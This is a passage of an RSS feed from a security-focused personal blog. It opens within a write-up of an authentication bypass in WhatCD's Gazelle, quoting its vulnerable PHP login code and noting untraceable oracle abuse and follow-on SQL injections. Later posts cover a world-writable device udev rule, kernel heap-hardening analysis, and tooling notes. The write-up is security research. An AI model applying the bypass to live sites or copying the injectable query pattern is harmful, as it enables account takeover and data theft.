class=\"p\"&gt;]);&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;span class=\"k\"&gt;if&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nb\"&gt;isset&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$LoginCookie&lt;/span&gt;&lt;span class=\"p\"&gt;))&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"k\"&gt;list&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$SessionID&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$UserID&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nb\"&gt;explode&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;|~|&amp;quot;&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$Enc&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;decrypt&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$LoginCookie&lt;/span&gt;&lt;span class=\"p\"&gt;));&lt;/span&gt;\n\n    &lt;span class=\"k\"&gt;if&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"o\"&gt;!&lt;/span&gt;&lt;span class=\"nv\"&gt;$UserID&lt;/span&gt; &lt;span class=\"o\"&gt;||&lt;/span&gt; &lt;span class=\"o\"&gt;!&lt;/span&gt;&lt;span class=\"nv\"&gt;$SessionID&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n        &lt;span class=\"k\"&gt;die&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;Not logged in!&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n    &lt;span class=\"p\"&gt;}&lt;/span&gt;\n\n    &lt;span class=\"k\"&gt;if&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"o\"&gt;!&lt;/span&gt;&lt;span class=\"nv\"&gt;$Enabled&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nv\"&gt;$Cache&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;get_value&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;enabled_&lt;/span&gt;&lt;span class=\"si\"&gt;$UserID&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;&lt;span class=\"p\"&gt;))&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n        &lt;span class=\"k\"&gt;require&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;SERVER_ROOT&lt;/span&gt;&lt;span class=\"o\"&gt;.&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;/classes/mysql.class.php&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt; &lt;span class=\"c1\"&gt;//Require the database wrapper&lt;/span&gt;\n        &lt;span class=\"nv\"&gt;$DB&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"k\"&gt;NEW&lt;/span&gt; &lt;span class=\"nx\"&gt;DB_MYSQL&lt;/span&gt;&lt;span class=\"p\"&gt;;&lt;/span&gt; &lt;span class=\"c1\"&gt;//Load the database wrapper&lt;/span&gt;\n        &lt;span class=\"nv\"&gt;$DB&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;query&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;\n&lt;span class=\"s2\"&gt;            SELECT Enabled&lt;/span&gt;\n&lt;span class=\"s2\"&gt;            FROM users_main&lt;/span&gt;\n&lt;span class=\"s2\"&gt;            WHERE ID = &amp;#39;&lt;/span&gt;&lt;span class=\"si\"&gt;$UserID&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n        &lt;span class=\"k\"&gt;list&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$Enabled&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nv\"&gt;$DB&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;next_record&lt;/span&gt;&lt;span class=\"p\"&gt;();&lt;/span&gt;\n        &lt;span class=\"nv\"&gt;$Cache&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;cache_value&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;enabled_&lt;/span&gt;&lt;span class=\"si\"&gt;$UserID&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$Enabled&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"mi\"&gt;0&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n    &lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt; &lt;span class=\"k\"&gt;else&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"k\"&gt;die&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;Not logged in!&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;Conveniently, the oracle doesn't touch the database, is completely stateless,\nand only shows up in the httpd/reverse-proxy's logs, which shouldn't log the cookies'\ncontent, making forensic analysis nigh impossible. Once you're admin, there are\na bunch of available SQL injections, like in\n&lt;a href=\"https://github.com/WhatCD/Gazelle/blob/master/sections/reportsv2/takeresolve.php\"&gt;&lt;code&gt;takerevolve.php&lt;/code&gt;&lt;/a&gt;.\nFrom there, remote code execution is doable, but left as an exercise for the\nreader.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Fri, 13 Oct 2023 19:45:00 +0200</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-10-13:/b/authentication-bypass-on-whatcds-gazelle.html</guid><category>security</category></item><item><title>Video acceleration in Jellyfin inside a Proxmox container</title><link>https://dustri.org/b/video-acceleration-in-jellyfin-inside-a-proxmox-container.html</link><description>&lt;p&gt;For various reasons, including \"video decoding is hard\", \"your web browser hates you\"\nand \"watching movies on a phone over 3G is a basic human necessity\",\nenabling hardware-accelerated video decoding in &lt;a href=\"https://jellyfin.org\"&gt;Jellyfin&lt;/a&gt;\nis a desirable goal if you don't want your CPU to set your house on fire. &lt;/p&gt;\n&lt;p&gt;To attain it, one can mess around &lt;a href=\"https://github.com/ddimick/proxmox-lxc-idmapper\"&gt;cryptic gid mappings&lt;/a&gt;,\nbut granting every user on the hypervisor the right to read/write &lt;code&gt;/dev/dri/renderD128&lt;/code&gt; and\n&lt;code&gt;/dev/dri/card0&lt;/code&gt; is way easier, and it looks like this:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"gp\"&gt;# &lt;/span&gt;cat&lt;span class=\"w\"&gt; &lt;/span&gt;&amp;gt;&lt;span class=\"w\"&gt; &lt;/span&gt;/etc/udev/rules.d/99-intel-chmod666.rules&lt;span class=\"w\"&gt; &lt;/span&gt;&amp;lt;&amp;lt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;EOF&amp;#39;&lt;/span&gt;\n&lt;span class=\"go\"&gt;KERNEL==&amp;quot;renderD128&amp;quot;, MODE=&amp;quot;0666&amp;quot;&lt;/span&gt;\n&lt;span class=\"go\"&gt;KERNEL==&amp;quot;card0&amp;quot;, MODE=&amp;quot;0666&amp;quot;&lt;/span&gt;\n&lt;span class=\"go\"&gt;EOF&lt;/span&gt;\n&lt;span class=\"gp\"&gt;# &lt;/span&gt;udevadm&lt;span class=\"w\"&gt; &lt;/span&gt;control&lt;span class=\"w\"&gt; &lt;/span&gt;--reload-rules&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;udevadm&lt;span class=\"w\"&gt; &lt;/span&gt;trigger\n&lt;span class=\"gp\"&gt;#&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;It doesn't really worsen security, since:\n- the devices are only mounted inside my jellyfin container, which would have\n  the same privileges as if I used gid mapping.\n- odds are that an attacker able to get a shell on the hypervisor wouldn't\n  really need to have r/w access to the two devices to escalate their\n  privileges anyway, since they would either be:\n  - root already to escape from a container\n  - root already to escape from a vm\n  - whatever proxmox user and likely able to escalate to &lt;code&gt;root&lt;/code&gt; trivially\n  - other users are sandboxed via systemd and/or seccomp.&lt;/p&gt;\n&lt;p&gt;Speaking of mounting things inside the container:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"gp\"&gt;# &lt;/span&gt;cat&lt;span class=\"w\"&gt; &lt;/span&gt;&amp;gt;&lt;span class=\"w\"&gt; &lt;/span&gt;/etc/pve/lxc/114.conf&lt;span class=\"w\"&gt; &lt;/span&gt;&amp;lt;&amp;lt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;EOF&amp;#39;&lt;/span&gt;\n&lt;span class=\"go\"&gt;lxc.cgroup2.devices.allow: c 226:0 rwm&lt;/span&gt;\n&lt;span class=\"go\"&gt;lxc.cgroup2.devices.allow: c 226:128 rwm&lt;/span&gt;\n&lt;span class=\"go\"&gt;lxc.mount.entry: /dev/dri dev/dri none bind,optional,create=dir&lt;/span&gt;\n&lt;span class=\"go\"&gt;lxc.mount.entry: /dev/dri/renderD128 dev/renderD128 none bind,optional,create=file&lt;/span&gt;\n&lt;span class=\"go\"&gt;EOF&lt;/span&gt;\n&lt;span class=\"gp\"&gt;#&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;You can now run &lt;code&gt;vainfo&lt;/code&gt; inside the container and be delighted by the\npresence of the &lt;a href=\"https://en.wikipedia.org/wiki/Video_Acceleration_API\"&gt;VA-API&lt;/a&gt; version number:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"gp\"&gt;# &lt;/span&gt;vainfo&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;2&lt;/span&gt;&amp;gt;/dev/null&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;|&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;head&lt;span class=\"w\"&gt; &lt;/span&gt;-n&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"m\"&gt;1&lt;/span&gt;\n&lt;span class=\"go\"&gt;libva info: VA-API version 1.17.0&lt;/span&gt;\n&lt;span class=\"gp\"&gt;#&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;The last step is to tick all the boxes in &lt;a href=\"https://jellyfin.org/docs/general/administration/hardware-acceleration/\"&gt;Jellyfin's\npreferences&lt;/a&gt;\nand you're good to go. Don't forget to make some space on the disk for the\ntranscoding cache, at least until &lt;a href=\"https://github.com/jellyfin/jellyfin/pull/8744\"&gt;this&lt;/a&gt;\nmakes its way into a release.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Sun, 01 Oct 2023 22:15:00 +0200</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-10-01:/b/video-acceleration-in-jellyfin-inside-a-proxmox-container.html</guid><category>sysadmin</category></item><item><title>Paper notes: Breaking Bad: Quantifying the Addiction of Web Elements to JavaScript</title><link>https://dustri.org/b/paper-notes-breaking-bad-quantifying-the-addiction-of-web-elements-to-javascript.html</link><description>&lt;p&gt;&lt;a href=\"https://arxiv.org/pdf/2301.10597.pdf\"&gt;PDF&lt;/a&gt;, &lt;a href=\"https://dustri.org/b/files/papers/breaking_bad.pdf\"&gt;local mirror&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;More or less all conversations involving the &lt;a href=\"https://www.torproject.org/download/\"&gt;tor browser&lt;/a&gt;\nwill at some point contain the following line: \"No, javascript isn't disabled\nby default because too many sites would break. You can always crank the\nsecurity slider all the way up if you want tho.\"&lt;/p&gt;\n&lt;p&gt;We all agree that javascript enables all sorts of despicable behaviours making\nthe web a nightmare-material privacy/security cesspit and completely\ninscrutable to a lot of users, so having research done\nto quantify how to make it a better place for everyone is always more than welcome.&lt;/p&gt;\n&lt;p&gt;The main idea of the paper is to load pages from the &lt;a href=\"https://hispar.cs.duke.edu/\"&gt;Hispar\nset&lt;/a&gt; with and without &lt;code&gt;javascript.enabled&lt;/code&gt; set,\nvia &lt;a href=\"https://pptr.dev\"&gt;Puppeteer&lt;/a&gt;, and to perform\nmagic human-assisted smart diffing to detect user-perceived/perceivable\nbreakages. &lt;/p&gt;\n&lt;p&gt;The paper is full of fancy graphs and analysis, but the &lt;a href=\"https://en.wikipedia.org/wiki/TL;DR\"&gt;tldr&lt;/a&gt; is:&lt;/p&gt;\n&lt;blockquote&gt;\n&lt;p&gt;We discover that 43 % of web pages are not strictly dependent on JavaScript\nand that more than 67 % of pages are likely to be usable as long as the visitor\nonly requires the content from the main section of the page, for which the user\nmost likely reached the page, while reducing the number of tracking requests by\n85 % on average.&lt;/p&gt;\n&lt;/blockquote&gt;\n&lt;p&gt;An interesting take is that the usage of javascript framework is the main\nsource of breakage, since &lt;s&gt;a lot&lt;/s&gt; all of them result in completely\nunusable websites when javascript is disabled. Moreover, anecdotal data seems\nto suggest that the bigger a company is, the more their website is going to\nbreak when javascript is disabled.&lt;/p&gt;\n&lt;p&gt;And like every decent paper, it comes with the &lt;a href=\"https://gitlab.inria.fr/Spirals/breaking-bad\"&gt;related code and data published&lt;/a&gt;.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Tue, 26 Sep 2023 17:15:00 +0200</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-09-26:/b/paper-notes-breaking-bad-quantifying-the-addiction-of-web-elements-to-javascript.html</guid><category>paper_notes</category></item><item><title>Snuffleupagus 0.10.0 - Babar the Elephant</title><link>https://dustri.org/b/snuffleupagus-0100-babar-the-elephant.html</link><description>&lt;p&gt;&lt;a href=\"https://snuffleupagus.readthedocs.org\"&gt;&lt;img alt=\"snuffleupagus logo\" src=\"https://dustri.org/b/images/sp.png\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;I just published a new release of\n&lt;a href=\"https://github.com/jvoisin/snuffleupagus/releases/tag/v0.10.0\"&gt;Snuffleupagus&lt;/a&gt;,\nthe hardening module for php7+ and php8+,\nversion &lt;code&gt;0.9.0&lt;/code&gt;, codename \"Babar the Elephant\",\nnamed the &lt;a href=\"https://en.wikipedia.org/wiki/Babar_the_Elephant\"&gt;eponymous character&lt;/a&gt;.\nThe main new feature is the PHP8.3 support, but there are a couple of\nquality-of-life improvements for people using Snuffleupagus with fuzzers as\nwell.&lt;/p&gt;\n&lt;h3&gt;Changelog&lt;/h3&gt;\n&lt;ul&gt;\n&lt;li&gt;Compatibility with PHP8.3&lt;/li&gt;\n&lt;li&gt;Add &lt;code&gt;sp.log_max_len&lt;/code&gt; to limit the maximum size of the log messages&lt;/li&gt;\n&lt;li&gt;Add an example configuration for Xenforo 2.2.12 &lt;/li&gt;\n&lt;li&gt;Url encode functions arguments when logging them&lt;/li&gt;\n&lt;li&gt;Fix a possible NULL-byte truncation when outputting parameters in the logs&lt;/li&gt;\n&lt;li&gt;Make &lt;code&gt;readonly_exec&lt;/code&gt; play nice on readonly filesystems &lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;As usual, if you want to help, we have some\n&lt;a href=\"https://github.com/jvoisin/snuffleupagus/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22\"&gt;low hanging fruits&lt;/a&gt; ♥&lt;/p&gt;\n&lt;p&gt;See you in your PHP stack!&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Wed, 20 Sep 2023 15:25:00 +0200</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-09-20:/b/snuffleupagus-0100-babar-the-elephant.html</guid><category>php</category></item><item><title>Some notes on \"Randomized slab caches for kmalloc()\"</title><link>https://dustri.org/b/some-notes-on-randomized-slab-caches-for-kmalloc.html</link><description>&lt;p&gt;Ruiqi Gong and Xiu Jianfeng got their\n&lt;a href=\"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3c6152940584290668b35fa0800026f6a1ae05fe\"&gt;Randomized slab caches for kmalloc()&lt;/a&gt;\npatch series merged upstream, and I've had enough discussions about it to\nwarrant summarising them into a small blogpost.&lt;/p&gt;\n&lt;p&gt;The main idea is to have multiple slab caches, and pick one at random based on\nthe address of code calling &lt;code&gt;kmalloc()&lt;/code&gt; and a per-boot seed, to make heap-spraying harder.\nIt's a great idea, but comes with some shortcomings for now:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Objects being allocated via wrappers around &lt;code&gt;kmalloc()&lt;/code&gt;, like &lt;code&gt;sock_kmalloc&lt;/code&gt;,\n  &lt;code&gt;f2fs_kmalloc&lt;/code&gt;, &lt;code&gt;aligned_kmalloc&lt;/code&gt;, … will end up in the same slab cache.&lt;/li&gt;\n&lt;li&gt;The slabs needs to be pinned, otherwise an attacker could &lt;a href=\"https://en.wikipedia.org/wiki/Heap_feng_shui\"&gt;feng-shui&lt;/a&gt; their way\n  into having the whole slab free'ed, garbage-collected, and have a slab for\n  another type allocated at the same VA. &lt;a href=\"https://thejh.net/\"&gt;Jann Horn&lt;/a&gt; and &lt;a href=\"https://infosec.exchange/@nspace\"&gt;Matteo Rizzo&lt;/a&gt; have a &lt;a href=\"https://github.com/torvalds/linux/compare/master...thejh:linux:slub-virtual-upstream\"&gt;nice\n  set of patches&lt;/a&gt;,\n  discussed a bit in &lt;a href=\"https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html\"&gt;this Project Zero blogpost&lt;/a&gt;,\n  for a feature called &lt;a href=\"https://github.com/torvalds/linux/commit/f3afd3a2152353be355b90f5fd4367adbf6a955e\"&gt;&lt;code&gt;SLAB_VIRTUAL&lt;/code&gt;&lt;/a&gt;,\n  implementing precisely this.&lt;/li&gt;\n&lt;li&gt;There are 16 slabs by default, so one chance out of 16 to end up in the same\n  slab cache as the target.&lt;/li&gt;\n&lt;li&gt;There are no guard pages between caches, so inter-caches overflows are\n  possible.&lt;/li&gt;\n&lt;li&gt;As pointed by &lt;a href=\"https://twitter.com/andreyknvl/status/1700267669336080678\"&gt;andreyknvl&lt;/a&gt;\n  and &lt;a href=\"https://infosec.exchange/@minipli/111045336853055793\"&gt;minipli&lt;/a&gt;,\n  the fewer allocations hitting a given cache means less noise,\n  so it might even help with some heap feng-shui.&lt;/li&gt;\n&lt;li&gt;minipli also pointed that \"randomized caches still freely\n  mix kernel allocations with user controlled ones (&lt;code&gt;xattr&lt;/code&gt;, &lt;code&gt;keyctl&lt;/code&gt;, &lt;code&gt;msg_msg&lt;/code&gt;, …).\n  So even though merging is disabled for these caches, i.e. no direct overlap\n  with &lt;code&gt;cred_jar&lt;/code&gt; etc., other object types can still be targeted (&lt;code&gt;struct\n  pipe_buffer&lt;/code&gt;, BPF maps, its verifier state objects,…). It’s just a matter of\n  probing which allocation index the targeted object falls into.\",\n  but I considered this out of scope, since it's much more involved;\n  albeit something like Jann Horn's &lt;a href=\"https://github.com/thejh/linux/blob/slub-virtual/MITIGATION_README\"&gt;&lt;code&gt;CONFIG_KMALLOC_SPLIT_VARSIZE&lt;/code&gt;&lt;/a&gt;\n  wouldn't significantly increase complexity.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Also, while code addresses as a source of entropy has historically be a great\nway to provide &lt;a href=\"https://lwn.net/Articles/569635/\"&gt;KASLR&lt;/a&gt; bypasses, &lt;code&gt;hash_64(caller ^\nrandom_kmalloc_seed, ilog2(RANDOM_KMALLOC_CACHES_NR + 1))&lt;/code&gt; shouldn't trivially\nleak offsets.&lt;/p&gt;\n&lt;p&gt;The segregation technique is a bit like a weaker version of grsecurity's\n&lt;a href=\"https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game\"&gt;AUTOSLAB&lt;/a&gt;,\nor a weaker kernel-land version of\n&lt;a href=\"https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md\"&gt;PartitionAlloc&lt;/a&gt;,\nbut to be fair, making use-after-free exploitation harder, and significantly\nharder once pinning lands, with only ~150 lines of code and negligible\nperformance impact is amazing and should be praised. Moreover, I wouldn't be\nsurprised if this was backported in &lt;a href=\"https://google.github.io/security-research/kernelctf/rules.html\"&gt;Google's KernelCTF&lt;/a&gt;\nsoon, so we should see if my analysis is correct.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Mon, 11 Sep 2023 01:45:00 +0200</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-09-11:/b/some-notes-on-randomized-slab-caches-for-kmalloc.html</guid><category>security</category></item><item><title>Making use of pygments' filters with Pelican</title><link>https://dustri.org/b/making-use-of-pygments-filters-with-pelican.html</link><description>&lt;p&gt;I've been using &lt;a href=\"https://github.com/getpelican/pelican\"&gt;Pelican&lt;/a&gt;\nmore or less since the beginning of this blog and I'm still\npretty happy about it. Mostly because of how &lt;a href=\"https://boringtechnology.club\"&gt;boring&lt;/a&gt;\nit is, and its complete absence of fundamental changes thorough the years.&lt;/p&gt;\n&lt;p&gt;Anyway, I was looking at how to reduce the size of the pages of my blog\nand looked at how code is syntactically highlighted:\nPelican is using &lt;a href=\"https://pygments.org\"&gt;Pygments&lt;/a&gt; to do this,\nand looking at its documentation, the &lt;a href=\"https://pygments.org/docs/filters/#TokenMergeFilter\"&gt;TokenMergeFilter&lt;/a&gt;\nshould help a bit, by merging token of the same type together,\ninstead of highlighting them separately.&lt;/p&gt;\n&lt;p&gt;Pelican's documentation &lt;a href=\"https://docs.getpelican.com/en/stable/settings.html\"&gt;says&lt;/a&gt;\nthat options can be passed to python-markdown like this:\n&lt;code&gt;MARKDOWN = { 'extension_configs': { 'markdown.extensions.codehilite': {'css_class': 'highlight'} } }&lt;/code&gt;.&lt;/p&gt;\n&lt;p&gt;Looking at &lt;a href=\"https://python-markdown.github.io/\"&gt;python-markdown&lt;/a&gt;'s &lt;a href=\"https://python-markdown.github.io/reference/#markdown\"&gt;one&lt;/a&gt;,\none can pass various things as parameters, but it doesn't mention filters.\n&lt;a href=\"https://pygments.org/docs/filters/\"&gt;Pygments documentation on this topic&lt;/a&gt; implies\nthat the only way to add filters is to use the &lt;code&gt;add_filter&lt;/code&gt; method on a lexer.&lt;/p&gt;\n&lt;p&gt;But &lt;a href=\"https://github.com/pygments/pygments/blob/master/pygments/lexer.py\"&gt;looking at the code&lt;/a&gt;\nas suggested &lt;a href=\"https://github.com/Python-Markdown/markdown/issues/1322#issuecomment-1453911760\"&gt;here&lt;/a&gt;,\nfilters can be passed like any other options, meaning that one only needs to\nadd the following code into the &lt;code&gt;pelicanconf.py&lt;/code&gt; file to used the\n&lt;code&gt;TokenMergeFilter&lt;/code&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"kn\"&gt;from&lt;/span&gt; &lt;span class=\"nn\"&gt;pelican&lt;/span&gt; &lt;span class=\"kn\"&gt;import&lt;/span&gt; &lt;span class=\"n\"&gt;TokenMergeFilter&lt;/span&gt;\n\n&lt;span class=\"n\"&gt;MARKDOWN&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"s1\"&gt;&amp;#39;extension_configs&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;:&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n        &lt;span class=\"s1\"&gt;&amp;#39;markdown.extensions.codehilite&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;:&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n            &lt;span class=\"s1\"&gt;&amp;#39;filters&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;:&lt;/span&gt; &lt;span class=\"p\"&gt;[&lt;/span&gt;&lt;span class=\"n\"&gt;TokenMergeFilter&lt;/span&gt;&lt;span class=\"p\"&gt;()]&lt;/span&gt;\n        &lt;span class=\"p\"&gt;}&lt;/span&gt;\n    &lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;&lt;span class=\"err\"&gt;`&lt;/span&gt;&lt;span class=\"o\"&gt;.&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;Totally worth the effort for a marginal page size reduction!&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Fri, 01 Sep 2023 18:30:00 +0200</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-09-01:/b/making-use-of-pygments-filters-with-pelican.html</guid><category>web</category></item><item><title>Book review: Hacks, Leaks, and Revelations</title><link>https://dustri.org/b/book-review-hacks-leaks-and-revelations.html</link><description>&lt;p&gt;&lt;a href=\"https://nostarch.com/hacks-leaks-and-revelations\"&gt;&lt;img alt=\"Hacks, Leaks, and Revelations cover\" src=\"https://dustri.org/b/images/HacksLeaksReveleations.png\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Last month, I got an email &lt;a href=\"https://nostarch.com/about\"&gt;from Briana Blackwell from No Starch Press&lt;/a&gt;'s marketing department,\ntelling me that &lt;a href=\"https://hacksandleaks.com/\"&gt;Hacks, Leaks, and Revelations: The Art of Analyzing Hacked and Leaked Data&lt;/a&gt;\nby &lt;a href=\"https://micahflee.com/\"&gt;Micah Lee&lt;/a&gt;\nwas available in &lt;em&gt;early access&lt;/em&gt;, and that they'd be happy to send me an ebook\ncopy free of charge!&lt;/p&gt;\n&lt;p&gt;From the couple of interactions I had with him, Lee is not only a great human being,\nbut also technically literate. He's the director of information security\nat &lt;a href=\"https://theintercept.com/staff/micah-lee/\"&gt;The Intercept&lt;/a&gt;, and the person\nbehind &lt;a href=\"https://onionshare.org/\"&gt;OnionShare&lt;/a&gt; and &lt;a href=\"https://dangerzone.rocks/\"&gt;DangerZone&lt;/a&gt;;\nso I was thrilled to finally get my hands on his book!&lt;/p&gt;\n&lt;p&gt;And what a great one it is! It's a complete course for everyone who want to learn how to properly deal with and report on large data sets like leaks:\nHow to communicate with sources along with some notions of &lt;a href=\"https://en.wikipedia.org/wiki/Operations_security\"&gt;opsec&lt;/a&gt;,\nsome words on the ethics of dealing with this kind of data,\nhow to get data leaks and how to analyse them\nproperly and safely, wrangling tools like\n&lt;a href=\"https://github.com/freedomofpress/dangerzone\"&gt;dangerzone&lt;/a&gt;,\na &lt;a href=\"https://en.wikipedia.org/wiki/BitTorrent\"&gt;BitTorrent&lt;/a&gt; client,\n&lt;a href=\"https://signal.org\"&gt;Signal&lt;/a&gt;,\n&lt;a href=\"https://torproject.org\"&gt;Tor&lt;/a&gt; via the &lt;a href=\"https://www.torproject.org/download/\"&gt;Tor Browser&lt;/a&gt; and\n&lt;a href=\"https://onionshare.org/\"&gt;Onionshare&lt;/a&gt;,\nsome &lt;a href=\"https://en.wikipedia.org/wiki/Linux\"&gt;linux&lt;/a&gt; and &lt;a href=\"https://en.wikipedia.org/wiki/Shell_(computing)\"&gt;shell&lt;/a&gt; basics,\na crash course into data analysis with &lt;a href=\"https://python.org\"&gt;Python&lt;/a&gt; and &lt;a href=\"https://en.wikipedia.org/wiki/SQL\"&gt;SQL&lt;/a&gt;,\nthe &lt;a 